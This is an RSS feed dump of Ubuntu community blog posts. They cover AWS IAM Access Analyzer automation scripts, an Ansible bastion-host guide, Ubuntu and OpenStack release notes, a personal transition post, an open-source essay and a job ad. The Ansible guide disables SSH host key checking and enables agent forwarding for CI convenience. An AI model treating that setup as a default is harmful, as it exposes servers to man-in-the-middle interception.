<p>Since this manual requirement can be a lot of work, it is a common
complaint from customers. Given that Amazon listens to customer
feedback and since we currently have to specify a &ldquo;type&rdquo; of &ldquo;ACCOUNT&rdquo;,
I expect at some point Amazon may make it easier to run Access
Analyzer across all regions and maybe in all accounts in an AWS
Organization. Until then&hellip;</p>
<p>This article shows how I created an AWS IAM Access Analyzer in all
regions of all accounts in my AWS Organization using the aws-cli.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>To make this easy, I use the bash helper functions that I defined
in last week&rsquo;s blog post here:</p>
<blockquote>
<p><a href="https://alestic.com/2019/12/aws-cli-across-organization-accounts/">Running AWS CLI Commands Across All Accounts In An AWS Organization</a></p>
</blockquote>
<p>Please read the blog post to see what assumptions I make about the AWS
Organization and account setup. You may need to tweak things if your
setup differs from mine.</p>
<p>Here is my GitHub repo that makes it more convenient for me to install
the bash functions. If your AWS account structure matches mine
sufficiently, it might work for you, too:</p>
<blockquote>
<p><a href="https://github.com/alestic/aws-cli-multi-account-sessions">https://github.com/alestic/aws-cli-multi-account-sessions</a></p>
</blockquote>
<h2 id="iam-access-analyzer-in-all-regions-of-single-account">IAM Access Analyzer In All Regions Of Single Account</h2>
<p>To start, let&rsquo;s show how to create an IAM Access Analyzer in all
regions of a single account.</p>
<p>Here&rsquo;s a simple command to get all the regions in the current AWS
account:</p>
<pre><code>aws ec2 describe-regions \
  --output text \
  --query 'Regions[][RegionName]'
</code></pre>
<p>This command creates an IAM Access Analyzer in a specific
region. We&rsquo;ll tack on a UUID because that&rsquo;s what Amazon does, though I
suspect it&rsquo;s not really necessary.</p>
<pre><code>region=us-east-1
uuid=$(uuid -v4 -FSIV || echo &quot;1&quot;) # may need to install &quot;uuid&quot; command
analyzer=&quot;accessanalyzer-$uuid&quot;
aws accessanalyzer create-analyzer \
   --region &quot;$region&quot; \
   --analyzer-name &quot;$analyzer&quot; \
   --type ACCOUNT
</code></pre>
<p>By default, there is a limit of a single IAM Access Analyzer per
account region. The fact that this is a &ldquo;default limit&rdquo; implies that
it may be increased by request, but for this guide, we&rsquo;ll just not
create an IAM Access Analyzer if one already exists.</p>
<p>This command lists the name of any IAM Access Analyzers that might
already have been created in a region:</p>
<pre><code>region=us-east-1
aws accessanalyzer list-analyzers \
  --region &quot;$region&quot; \
  --output text \
  --query 'analyzers[][name]'
</code></pre>
<p>We can put the above together, iterating over the regions, checking to
see if an IAM Access Analyzer already exists, and creating one if it
doesn&rsquo;t:</p>
<p>regions=$(aws ec2 describe-regions <br>
&ndash;output text <br>
&ndash;query &lsquo;Regions[][RegionName]&rsquo; |
sort)</p>
<pre><code>for region in $regions; do
  analyzer=$(aws accessanalyzer list-analyzers \
    --region &quot;$region&quot; \
    --output text \
    --query 'analyzers[][name]')
  if [ -n &quot;$analyzer&quot; ]; then
    echo &quot;$region: EXISTING: $analyzer&quot;
  else
    uuid=$(uuid -v4 -FSIV || echo &quot;1&quot;) # may need to install &quot;uuid&quot; command
    analyzer=&quot;accessanalyzer-$uuid&quot;
    echo &quot;$region: CREATING: $analyzer&quot;
    aws accessanalyzer create-analyzer \
       --region &quot;$region&quot; \
       --analyzer-name &quot;$analyzer&quot; \
       --type ACCOUNT \
       &gt; /dev/null # only show errors
  fi
done
</code></pre>
<h2 id="creating-iam-access-analyzers-in-all-regions-of-all-accounts">Creating IAM Access Analyzers In All Regions Of All Accounts</h2>
<p>Now let&rsquo;s prepare to run the above in multiple accounts using the
aws-cli-multi-account-sessions bash helper functions from last week&rsquo;s
article:</p>
<pre><code>git clone git@github.com:alestic/aws-cli-multi-account-sessions.git
source aws-cli-multi-account-sessions/functions.sh
</code></pre>
<p>Specify the values for <code>source_profile</code> and <code>mfa_serial</code> from your
aws-cli config file. You can leave the <code>mfa_serial</code> empty if you
aren&rsquo;t using MFA:</p>
<pre><code>source_profile=your_aws_cli_source_profile
mfa_serial=arn:aws:iam::YOUR_ACCOUNT:mfa/YOUR_USER
</code></pre>
<p>Specify the role you can assume in all accounts:</p>
<pre><code>role=&quot;admin&quot; # Yours might be called &quot;OrganizationAccountAccessRole&quot;
</code></pre>
<p>Get a list of all accounts in the AWS Organization, and a list of all
regions:</p>
<pre><code>accounts=$(aws organizations list-accounts \
             --output text \
             --query 'Accounts[].[JoinedTimestamp,Status,Id,Email,Name]' |
           grep ACTIVE |
           sort |
           cut -f3) # just the ids

regions=$(aws ec2 describe-regions \
            --output text \
            --query 'Regions[][RegionName]' |
          sort)
</code></pre>
<p>Run this once to create temporary session credentials with MFA:</p>
<pre><code>aws-session-init $source_profile $mfa_serial
</code></pre>
<p>Iterate through AWS accounts, running the necessary AWS CLI commands
to create an AIM Access Analyzer in each account/role and each region:</p>
<pre><code>for account in $accounts; do
  echo &quot;Visiting account: $account&quot;
  aws-session-set $account $role || continue

  for region in $regions; do
    # Run the aws-cli commands using the assume role credentials
    analyzers=$(aws-session-run \
                  aws accessanalyzer list-analyzers \
                    --region &quot;$region&quot; \
                    --output text \
                    --query 'analyzers[][name]')
    if [ -n &quot;$analyzers&quot; ]; then
      echo &quot;$account/$region: EXISTING: $analyzers&quot;
    else
      uuid=$(uuid -v4 -FSIV || echo &quot;1&quot;)
      analyzer=&quot;accessanalyzer-$uuid&quot;
      echo &quot;$account/$region: CREATING: $analyzer&quot;
      aws-session-run \
        aws accessanalyzer create-analyzer \
          --region &quot;$region&quot; \
          --analyzer-name &quot;$analyzer&quot; \
          --type ACCOUNT \
          &gt; /dev/null # only show errors
    fi
  done
done
</code></pre>
<p>Clear out bash variables holding temporary AWS credentials:</p>
<pre><code>aws-session-cleanup
</code></pre>
<p>In a bit, you can go to the <a href="https://us-west-2.console.aws.amazon.com/access-analyzer/">AWS IAM Console</a> and view what
the Access Analyzers found.</p>
<p>Yep, you have to look at the Access Analyzer findings in each account
and each region. Wouldn&rsquo;t it be nice if we had some way to collect all
this centrally? I think so, too, so I&rsquo;m looking into what can be done
there. Thoughts welcome in the comments below or on Twitter.</p>
<h2 id="cleanup">Cleanup</h2>
<p>The following deletes all IAM Access Analyzers in all regions in the
current account. You don&rsquo;t need to do this if you want to leave the
IAM Access Analyzers running, especially since there is no additional
cost for keeping them.</p>
<pre><code># WARNING! DESTRUCTIVE!

source_profile=[as above]
mfa_serial=[as above]
role=[as above]

accounts=$(aws organizations list-accounts \
             --output text \
             --query 'Accounts[].[JoinedTimestamp,Status,Id,Email,Name]' |
           grep ACTIVE |
           sort |
           cut -f3) # just the ids

regions=$(aws ec2 describe-regions \
            --profile &quot;$source_profile&quot; \
            --output text \
            --query 'Regions[][RegionName]' |
          sort)

aws-session-init $source_profile $mfa_serial

for account in $accounts; do
  echo &quot;Visiting account: $account&quot;
  aws-session-set $account $role || continue

  for region in $regions; do
    # Run the aws-cli commands using the assume role credentials
    analyzers=$(aws-session-run \
                  aws accessanalyzer list-analyzers \
                    --region &quot;$region&quot; \
                    --output text \
                    --query 'analyzers[][name]')
    for analyzer in $analyzers; do
      echo &quot;$account/$region: DELETING: $analyzer&quot;
      aws-session-run \
        aws accessanalyzer delete-analyzer \
          --region &quot;$region&quot; \
          --analyzer-name &quot;$analyzer&quot;
    done
  done
done

aws-session-cleanup
</code></pre>
        <p>Original article and comments: <a href="https://alestic.com/2020/01/aws-iam-access-analyzer/">https://alestic.com/2020/01/aws-iam-access-analyzer/</a></p>]]></description>
      <source url="http://feeds.alestic.com/alestic-planetubuntu">Eric Hammond</source>
    </item>
    <item>
      <title>Puberty</title>
      <link>https://rhonda.deb.at/blog/2019/12/28#puberty</link>
      <guid isPermaLink="true">https://rhonda.deb.at/blog/2019/12/28#puberty</guid>
      <pubDate>Sat, 28 Dec 2019 22:22:00 GMT</pubDate>
      <description><![CDATA[<p>I was musing about writing about this publicly. For the first time in all these years of writing pretty personal stuff about my feelings, my way of becoming more honest with myself and a more authentic person through that I was thinking about letting you in on this is a good idea.</p>

<p>You see, people have used information from my personal blog in the past, and tried to use it against me. Needless to say they failed with it, and it only showed their true face. So why does it feel different this time?</p>

<p>Thing is, I'm in the midst of my second puberty, and the hormones are kicking in in complete hardcore mode. And it doesn't help at all that there is trans antagonist crap from the past and also from the present popping up left and right at a pace and a concentrated amount that is hard to swallow on its own without the puberty.</p>

<p>Yes, I used to be able to take those things with a much more stable state. But every. Single. Of. These. Issues is draining all the energy out of myself. And even though I'm aware that I'm not the only one trying to fix all of those, even though for some spots I'm the only one doing the work, it's easier said than done that I don't have to fix the world, when the areas involved mean the world to me. Are areas that support me in so many ways. Are places that I need. And on top of that, the hormones are multiplying the energy drain of those.</p>

<p>So ... I know it's not that common. I know you are not used to a grown up person to go through puberty. But for god's sake. Don't make it harder than it has to be. I know it's hard to deal with a 46 year old teenager, so to say, I'm just trying to survive in this world of systematic oppression of trans people.</p>

<p>It would be nice to go for a week without having to cry your eyes out because another hostile event happened that directly affects your existence. The existence of trans lives aren't a matter of different opinions or different points of view, so don't treat it like that, if you want me to believe that you are a person able of empathy and basic respect.</p>

<p>Sidenote: Finishing to write this at this year's <a href="https://events.ccc.de/congress/2019/wiki/index.php/Main_Page">#36c3</a> is quite interesting because of the conference title: <em>Resource Exhaution</em>. Oh the irony.</p>

<p align="right">
  <i><a href="https://rhonda.deb.at/blog/personal">/personal</a> | 
    <a href="https://rhonda.deb.at/blog/personal/puberty.html">permanent link</a> |
    <a href="https://rhonda.deb.at/blog/personal/puberty.html">Comments: 14</a> |
    <a href="http://flattr.com/thing/46312/Rhondas-Blog" target="_blank"><img
      src="http://api.flattr.com/button/button-compact-static-100x17.png"
      alt="Flattr this" title="Flattr this" border="0" /></a></i>
</p>]]></description>
      <source url="https://rhonda.deb.at/blog/?flav=rss&amp;lang=en">Rhonda D'Vine</source>
    </item>
    <item>
      <title>Managing dynamic inventory in private subnets using bastion jump box</title>
      <link>http://blog.diegoturcios.com/2019/11/managing-dynamic-inventory-in-private_56.html</link>
      <guid isPermaLink="true">http://blog.diegoturcios.com/2019/11/managing-dynamic-inventory-in-private_56.html</guid>
      <pubDate>Tue, 19 Nov 2019 15:47:00 GMT</pubDate>
      <description><![CDATA[<html>

<head>
  
  
  <title>Managing dynamic inventory in private subnets using bastion jump box</title>
  <link href="https://stackedit.io/style.css" rel="stylesheet"></link>
</head>

<body class="stackedit">
  <div class="stackedit__html">
The title of post is quite large, but is something I encountered issues in the last weeks. I had a VPC in AWS,  creating x amount of instances in a private network, and was quite complex to manage this instance using static inventory files. So I will explain you how to manage this problem with <a href="https://www.ansible.com/">Ansible</a>.<br />

Before continue, I want to say these articles are really good and can help you with this issues.<br />

<ul>
<li><a href="https://medium.com/@JamesKingsmill/dynamic-inventory-ansible-behind-a-jumpbox-bastion-5c04a3e4b354">Dynamic inventory Ansible (behind a jumpbox / bastion )</a></li>
<li><a href="https://blog.wyrihaximus.net/2018/07/ssh-jump-hosts-on-circleci-2/">SSH jump hosts on CircleCI 2.0</a></li>
</ul>
So you will be asking, if these articles are so good, why are you writing them again? Easy, I’m doing this in Gitlab CI, and I suppose other CI will encounter similar issues. It’s not possible to connect to the instances using the instructions above.<br />

<h2 id="first-step">
First Step</h2>
We get our inventory in a dynamic way.  For this we will use the <a href="https://docs.ansible.com/ansible/latest/user_guide/intro_dynamic_inventory.html#inventory-script-example-aws-ec2">inventory</a> scripts.<br />

We need to modify the ec2.ini file with uncommenting the <code>vpc_destination_variable</code>  and set the value to <code>private_ip_address</code><br />

An example<br />

<pre><code># For server inside a VPC, using DNS names may not make sense. When an instance
# has 'subnet_id' set, this variable is used. If the subnet is public, setting
# this to 'ip_address' will return the public IP address. For instances in a
# private subnet, this should be set to 'private_ip_address', and Ansible must
# be run from within EC2. The key of an EC2 tag may optionally be used; however
# the boto instance variables hold precedence in the event of a collision.
# WARNING: - instances that are in the private vpc, _without_ public ip address
# will not be listed in the inventory until You set:
vpc_destination_variable = private_ip_address
#vpc_destination_variable = ip_address
</code></pre>
Be sure to have your ansible.cfg, with the following line.<br />

<pre><code>host_key_checking = False
</code></pre>
This is useful, as we’re running this in a CI, we can’t hit enter to accept the connection in  the terminal.<br />

Then we begin working with our yml file. As I’m running this on a container, I need to create the <code>.ssh</code> directory and the config file. Here it’s important to add <strong>StrictHostKeyChecking=no</strong> If we don’t do this, this will fail in our CI, as we can’t hit enter. If you don’t included it and run it locally, it will work.<br />

<pre><code>---
- name: Creates ssh directory
  file:
    path: ~/.ssh/
    state: directory


- name: Create ssh config file in local computer
  copy:
    dest: ~/.ssh/config
    content: |
       Host 10.*.*.*
       User ubuntu
       IdentityFile XXXXX.pem
       StrictHostKeyChecking=no
       ProxyCommand ssh -q -W %h:%p {{ lookup('env', 'IP') }}
       Host {{ lookup('env', 'IP') }}
       User ubuntu
       StrictHostKeyChecking=no
       IdentityFile XXXXX.pem
       ForwardAgent yes

</code></pre>
And finally we test it running the ping command.<br />

<pre><code>---
- name: test connection
  ping:

</code></pre>
In case you need the code : <a href="https://github.com/DiegoTc/bastionansible">https://github.com/DiegoTc/bastionansible</a><br />

</div>
</body>

</html>]]></description>
      <source url="http://diegoturcios.blogspot.com/feeds/posts/default/-/planet-ubuntu">Diego Turcios</source>
    </item>
    <item>
      <title>Ubuntu 18.04.3 LTS is out, including GNOME stable updates and Livepatch desktop integration</title>
      <link>https://blogs.gnome.org/seb128/2019/08/08/ubuntu-18-04-3-lts-is-out-and-includes-gnome-bugfix-updates-and-livepatch-desktop-integration/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/seb128/2019/08/08/ubuntu-18-04-3-lts-is-out-and-includes-gnome-bugfix-updates-and-livepatch-desktop-integration/</guid>
      <pubDate>Thu, 08 Aug 2019 19:32:31 GMT</pubDate>
      <description><![CDATA[<p>Ubuntu<a href="https://ubuntu.com/download/desktop/thank-you?version=18.04.3&amp;architecture=amd64" class="external"> 18.04.3</a> LTS has just been released. As usual with LTS point releases, the main changes are a refreshed hardware enablement stack (newer versions of the kernel, xorg &amp; drivers) and a number of bug and security fixes.</p>
<p>For the Desktop, newer stable versions of GNOME components have been included as well as a new feature: Livepatch desktop integration.</p>
<p>For those who aren’t familiar,<a href="https://ubuntu.com/livepatch" class="external"> Livepatch</a> is a service which applies critical kernel patches without rebooting. The service is available as part of<a href="https://ubuntu.com/legal/ubuntu-advantage" class="external"> an Ubuntu Advantage</a> subscriptions but also made available for free to Ubuntu users (up to 3 machines).  Fixes are downloaded and applied to your machine automatically to help reduce downtime and keep your Ubuntu LTS systems secure and compliant.  Livepatch is available for your servers and your desktops.</p>
<p><a href="https://github.com/azzar1" class="external">Andrea Azzarone</a> worked on desktop integration for the service and his work finally landed in the 18.04 LTS.</p>
<p>To enabling Livepatch you just need an<a href="https://login.ubuntu.com/" class="external"> Ubuntu One</a> account. The set up is part of the first login or can be done later from the corresponding software-properties tab.</p>
<p>Here is a simple walkthrough showing the steps and the result:</p>
<p>The wizard displayed during the first login includes a Livepatch step will help you get signed in to Ubuntu One and enable Livepatch:</p>
<p><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatch1.png"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-2021" src="https://blogs.gnome.org/seb128/files/2019/08/livepatch1.png" alt="" width="791" height="491" srcset="https://blogs.gnome.org/seb128/files/2019/08/livepatch1.png 791w, https://blogs.gnome.org/seb128/files/2019/08/livepatch1-300x186.png 300w, https://blogs.gnome.org/seb128/files/2019/08/livepatch1-768x477.png 768w, https://blogs.gnome.org/seb128/files/2019/08/livepatch1-350x217.png 350w" sizes="(max-width: 791px) 100vw, 791px" /></a><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatch2.png"><img decoding="async" class="alignnone size-full wp-image-2024" src="https://blogs.gnome.org/seb128/files/2019/08/livepatch2.png" alt="" width="787" height="488" srcset="https://blogs.gnome.org/seb128/files/2019/08/livepatch2.png 787w, https://blogs.gnome.org/seb128/files/2019/08/livepatch2-300x186.png 300w, https://blogs.gnome.org/seb128/files/2019/08/livepatch2-768x476.png 768w, https://blogs.gnome.org/seb128/files/2019/08/livepatch2-350x217.png 350w" sizes="(max-width: 787px) 100vw, 787px" /></a></p>
<p>Clicking the ‘Set Up’ button invites you to enter you Ubuntu One information (or to create an account) and that&#8217;s all that is needed.</p>
<p>The new desktop integration includes an indicator showing the current status and notifications telling when fixes have been applied.</p>
<p><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatchnotification.png"><img decoding="async" class="alignnone size-full wp-image-2045" src="https://blogs.gnome.org/seb128/files/2019/08/livepatchnotification.png" alt="" width="585" height="119" srcset="https://blogs.gnome.org/seb128/files/2019/08/livepatchnotification.png 585w, https://blogs.gnome.org/seb128/files/2019/08/livepatchnotification-300x61.png 300w, https://blogs.gnome.org/seb128/files/2019/08/livepatchnotification-350x71.png 350w" sizes="(max-width: 585px) 100vw, 585px" /></a></p>
<p><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatchindicator.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-2027" src="https://blogs.gnome.org/seb128/files/2019/08/livepatchindicator.png" alt="" width="237" height="198" /></a></p>
<p>You can also get more details on the corresponding CVEs from the Livepatch configuration UI</p>
<p><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatchsetting.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-2060" src="https://blogs.gnome.org/seb128/files/2019/08/livepatchsetting.png" alt="" width="370" height="247" srcset="https://blogs.gnome.org/seb128/files/2019/08/livepatchsetting.png 370w, https://blogs.gnome.org/seb128/files/2019/08/livepatchsetting-300x200.png 300w, https://blogs.gnome.org/seb128/files/2019/08/livepatchsetting-350x234.png 350w" sizes="auto, (max-width: 370px) 100vw, 370px" /></a></p>
<p><a href="https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-2036" src="https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings.png" alt="" width="812" height="438" srcset="https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings.png 812w, https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings-300x162.png 300w, https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings-768x414.png 768w, https://blogs.gnome.org/seb128/files/2019/08/livepatchsettings-350x189.png 350w" sizes="auto, (max-width: 812px) 100vw, 812px" /></a></p>
<p>You can always hide the indicator using the toggle if you prefer to keep your top panel clean and simple.</p>
<p>Enjoy the increased security in between reboots!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></description>
      <source url="http://blogs.gnome.org/seb128/feed/">Sebastien Bacher</source>
    </item>
    <item>
      <title>Open source in 2019, Part 3/3</title>
      <link>https://ttx.re/open-source-2019-part3.html</link>
      <guid isPermaLink="true">https://ttx.re/open-source-2019-part3.html</guid>
      <pubDate>Mon, 15 Jul 2019 13:52:00 GMT</pubDate>
      <description><![CDATA[<p>21 years in, the landscape around open source evolved a lot. In
<a href="https://ttx.re/open-source-2019-part1.html">part 1</a> and
<a href="https://ttx.re/open-source-2019-part2.html">part 2</a> of this 3-part series,
I explained why today, while open source is more necessary than ever, it
appears to no longer be sufficient. In this part, I'll discuss what we, open
source enthusiasts and advocates, can do about that.</p>
<h2>This is not a call to change open source</h2>
<p>First, let me clarify what we should <strong>not</strong> do.</p>
<p>As mentioned in <a href="https://ttx.re/open-source-2019-part2.html">part 2</a>, since
open source was coined in 1998, software companies have evolved ways to
retain control while producing open source software, and in that process
stripped users of some of the traditional benefits associated with F/OSS.
But those companies were still abiding to the terms of the open
source licenses, giving users a clear base set of freedoms and rights.</p>
<p>Over the past year, a number of those companies have decided that they
wanted even <em>more</em> control, in particular control of any revenue associated
with the open source software. They proposed new licenses, removing
established freedoms and rights in order to be able to assert that level of
control. The <a href="https://opensource.org/osd">open source definition</a> defines
those minimal freedoms and rights that any open source software should
have, so the <a href="https://opensource.org/">Open Source Initiative (OSI)</a>,
as steadfast guardians of that definition, rightfully resisted those attempts.</p>
<p>Those companies quickly switched to attacking OSI's legitimacy, pitching "Open
Source" more as a broad category than a clear set of freedoms and rights.
And they created new licenses, with deceptive naming ("community", "commons",
"public"...) in an effort to blur the lines and retain some of
the open source definition aura for their now-proprietary software.</p>
<p>The solution is not in redefining open source, or claiming it's no longer
relevant. Open source is not a business model, or a constantly evolving way
to produce software. It is a base set of user freedoms and rights expressed
in the license the software is published under. Like all standards, its value
resides in its permanence.</p>
<p>Yes, I'm of the opinion that today, "open source" is not enough.
Yes, we need to go beyond open source. But in order to do that, we need to
base that additional layer on a solid foundation: the
<a href="https://opensource.org/osd">open source definition</a>.</p>
<p>That makes the work of the <a href="https://opensource.org/">OSI</a> more important
than ever. Open source used to be attacked from the outside, proprietary
software companies claiming open source software was inferior or dangerous.
Those were clear attacks that were relatively easy to resist: it was mostly
education and advocacy, and ultimately the quality of open source software
could be used to prove our point. Now it's attacked from the inside, by
companies traditionally producing open source software, claiming that it
should change to better fit their business models. We need to go back to
the basics and explain why those rights and freedoms matter, and why
blurring the lines ultimately weakens everyone. We need a strong OSI
to lead that new fight, because it is far from over.</p>
<h2>A taxonomy of open source production models</h2>
<p>As I argued in previous parts, how open source is built ultimately impacts
the benefits users get. A lot of us know that, and we all came up with our
own vocabulary to describe those various ways open source is produced today.</p>
<p>Even within a given model (say open collaboration between equals on a level
playing field), we use different sets of principles: the OpenStack
Foundation has the <a href="https://www.openstack.org/four-opens/">4 Opens</a>
(open source, open development, open design, open community), the Eclipse
Foundation has the Open Source Rules of Engagement (open, transparent,
meritocracy), the Apache Foundation has the Apache Way... We all advocate
for our own variant, focusing on differences rather than what we have in
common: the key benefits those variants all enable.</p>
<p>This abundance of slightly-different vocabulary makes it difficult to rally
around and communicate efficiently. If we have no clear way to differentiate
good all-benefits-included open source from twisted some-benefits-withheld
open source, the confusion (where all open source is considered equal)
benefits the twisted production models. I think it is time for us to
regroup, and converge around <strong>a clear, common classification of open source
production models</strong>.</p>
<p>We need to classify those models based on which benefits they guarantee
to the users of the produced software. Open-core does not guarantee
availability, single-vendor does not provide sustainability nor does
it allow to efficiently engage and influence the direction of the
software, while open-collaboration gives you all three.</p>
<p>Once we have this classification, we'll need to heavily communicate around
it, with a single voice. As long as we use slightly different terms (or
mean slightly different things when using common terms), we maintain
confusion which ultimately benefits the most restrictive models.</p>
<h2>Get together</h2>
<p>Beyond that, I think we need to talk more. Open source conferences used to
be all about education and advocacy: what is this weird way of producing
software, and why you should probably be interested in it. Once open source
became ubiquitous, those style of horizontal open source conferences became
less relevant, and were soon replaced by more vertical conferences around a
specific stack or a specific use case.</p>
<p>This is a good evolution: this is what winning looks like. The issue is:
<strong>the future of open source is not discussed anymore</strong>. We rest on our
laurels, while the world continually evolves and adapts. Some open source
conference islands may still exist, with high-level keynotes still raising
the issues, but those are generally one-way conversations.</p>
<p>To do this important work of converging vocabulary and defining common
standards on how open source is produced, Twitter won't cut it. To
bootstrap the effort we'll need to meet, get around a table and take the
time to discuss specific issues together. Ideally that would be done around
some other event(s) to avoid extra travel.</p>
<p>And we need to do that soon. This work is becoming urgent. "Open source" as
a standard has lots of value because of all the user benefits traditionally
associated with free and open source software. That created an aura that
all open source software still benefits from today. But that aura is
weakening over time, thanks to twisted production models. How much more
single-vendor open source can we afford until "open source" no longer means
you can engage with the community and influence the direction of the
software ?</p>
<p>So here is my call to action, which concludes this series.</p>
<p>In 2019, open source is more important than ever. Open source has not "won",
this is a continuous effort, and we are today at a critical junction.
I think open source advocates and enthusiasts need to get together, defining
clear, standard terminology on how open source software is built, and start
communicate heavily around it with a single voice. And beyond that, we need
to create forums where those questions on the future of open source are
discussed. Because whatever battles you win today, the world does not stop
evolving and adapting.</p>
<p>Obviously I don't have all the answers. And there are lots of interesting
questions. It's just time we have a place to ask those questions and
discuss the answers. If you are interested and want to get involved, feel
free to contact me.</p>]]></description>
      <source url="http://ttx.re/feeds/open-source.atom.xml">Thierry Carrez</source>
    </item>
    <item>
      <title>Canonical’s Desktop Team is hiring</title>
      <link>https://blogs.gnome.org/laney/2019/07/02/canonicals-desktop-team-is-hiring/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/laney/2019/07/02/canonicals-desktop-team-is-hiring/</guid>
      <pubDate>Tue, 02 Jul 2019 10:43:12 GMT</pubDate>
      <description><![CDATA[<p><a href="https://blogs.gnome.org/laney/files/2019/07/join.png"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-80 size-large" src="https://blogs.gnome.org/laney/files/2019/07/join-1024x505.png" alt="Join the desktop team" width="840" height="414" srcset="https://blogs.gnome.org/laney/files/2019/07/join-1024x505.png 1024w, https://blogs.gnome.org/laney/files/2019/07/join-300x148.png 300w, https://blogs.gnome.org/laney/files/2019/07/join-768x379.png 768w, https://blogs.gnome.org/laney/files/2019/07/join-1200x592.png 1200w, https://blogs.gnome.org/laney/files/2019/07/join.png 1920w" sizes="(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px" /></a></p>
<p>&nbsp;</p>
<p><strong>edit: this post is fairly old now, and we&#8217;re well on the way with the rest of the process &#8211; if you didn&#8217;t apply yet, it&#8217;s probably worth waiting until next time</strong></p>
<p>Some good news for anyone who might read this. <a href="https://grnh.se/ddf040931" class="external">In the Canonical desktop team we&#8217;re hiring a new Software Engineer.</a></p>
<p>More details in the job description, but if you&#8217;re looking for an opportunity that lets you:</p>
<ul>
<li>work remotely</li>
<li>work on GNOME and related desktop technologies (both upstream and downstream!)</li>
<li>help to ship a solid Ubuntu every 6 months</li>
<li>work with smart people</li>
<li>have the opportunity to travel to, and present at, conferences and internal events</li>
</ul>
<p>then please apply. You do <em>not </em>need to already be a GNOME or a Ubuntu/Debian expert to apply for this position &#8211; you&#8217;ll be given a mentor and plenty of time and support to learn the ropes.</p>
<p>Please feel free to contact me on IRC (Laney on all the best networks) / email (iain.lane@canonical.com) / Telegram (@lan3y) if you&#8217;re considering an application and you&#8217;d like to chat about it.</p>]]></description>
      <source url="https://blogs.gnome.org/laney/category/planetubuntu/feed/">Iain Lane</source>
    </item>
    <item>
      <title>OpenStack Stein for Ubuntu 18.04 LTS</title>
      <link>https://javacruft.wordpress.com/2019/04/17/openstack-stein-for-ubuntu-18-04-lts/</link>
      <guid isPermaLink="true">https://javacruft.wordpress.com/2019/04/17/openstack-stein-for-ubuntu-18-04-lts/</guid>
      <pubDate>Wed, 17 Apr 2019 10:50:17 GMT</pubDate>
      <description><![CDATA[<p><span style="font-weight:400;">The Ubuntu OpenStack team at Canonical is pleased to announce the general availability of OpenStack Stein on Ubuntu 18.04 LTS via the Ubuntu Cloud Archive. Details of the Stein release can be found <a href="https://www.openstack.org/software/stein">here</a>.</span></p>
<p><span style="font-weight:400;">You can enable the Ubuntu Cloud Archive pocket for OpenStack Stein on Ubuntu 18.04 LTS installations by running the following commands:</span></p>
<pre><span style="font-weight:400;">    sudo add-apt-repository cloud-archive:stein</span>
<span style="font-weight:400;">    sudo apt update</span></pre>
<p><span style="font-weight:400;">The Ubuntu Cloud Archive for Stein includes updates for:</span></p>
<p><span style="font-weight:400;">aodh, barbican, ceilometer, ceph (13.2.4), cinder, designate, designate-dashboard, glance, gnocchi, heat, heat-dashboard, horizon, ironic, keystone, magnum, manila, manila-ui, mistral, murano, murano-dashboard, networking-bagpipe, networking-bgpvpn, networking-hyperv, networking-l2gw, networking-odl, networking-ovn, networking-sfc, neutron, neutron-dynamic-routing, neutron-fwaas, neutron-lbaas, neutron-lbaas-dashboard, neutron-vpnaas, nova, nova-lxd, octavia, openstack-trove, openvswitch (2.11.0), panko, sahara, sahara-dashboard, senlin, swift, trove-dashboard, vmware-nsx, watcher, and zaqar.</span></p>
<p><span style="font-weight:400;">For a full list of packages and versions please refer to the Stein UCA <a href="http://reqorts.qa.ubuntu.com/reports/ubuntu-server/cloud-archive/stein_versions.html">version report</a>.</span></p>
<p><strong>Python 3</strong></p>
<p><span style="font-weight:400;">The majority of OpenStack packages now run under Python 3 only; notable exceptions include Swift.  Python 2 packages are no longer provided for the majority of projects.</span></p>
<p><strong>Branch package builds</strong></p>
<p><span style="font-weight:400;">If you would like to try out the latest updates to branches, we deliver continuously integrated packages on each upstream commit-ish via the following PPA’s:</span></p>
<pre><span style="font-weight:400;">    sudo add-apt-repository ppa:openstack-ubuntu-testing/rocky</span>
<span style="font-weight:400;">    sudo add-apt-repository ppa:openstack-ubuntu-testing/stein</span></pre>
<p><strong>Reporting bugs</strong></p>
<p><span style="font-weight:400;">If you have any issues please report bugs using the &#8216;ubuntu-bug&#8217; tool to ensure that bugs get logged in the right place in Launchpad:</span></p>
<pre style="padding-left:40px;"><span style="font-weight:400;">sudo ubuntu-bug nova-conductor</span></pre>
<p><span style="font-weight:400;">Thanks to everyone who has contributed to OpenStack Stein, both upstream and downstream. Special thanks to the Puppet OpenStack modules team and the OpenStack Charms team for their continued early testing of the Ubuntu Cloud Archive, as well as the Ubuntu and Debian OpenStack teams for all of their contributions.</span></p>
<p><span style="font-weight:400;">Have fun and see you all for Train!</span></p>
<p><span style="font-weight:400;">Cheers</span></p>
<p><span style="font-weight:400;">James</span></p>
<p><span style="font-weight:400;">(on behalf of the Ubuntu OpenStack team)</span></p>]]></description>
      <source url="https://javacruft.wordpress.com/category/ubuntu/feed/?mrss=off">James Page</source>
    </item>
    <item>
      <title>Intel NEO OpenCL driver for Disco</title>
      <link>https://tjaalton.wordpress.com/2019/04/09/intel-neo-opencl-driver-for-disco/</link>
      <guid isPermaLink="true">https://tjaalton.wordpress.com/2019/04/09/intel-neo-opencl-driver-for-disco/</guid>
      <pubDate>Tue, 09 Apr 2019 16:11:30 GMT</pubDate>
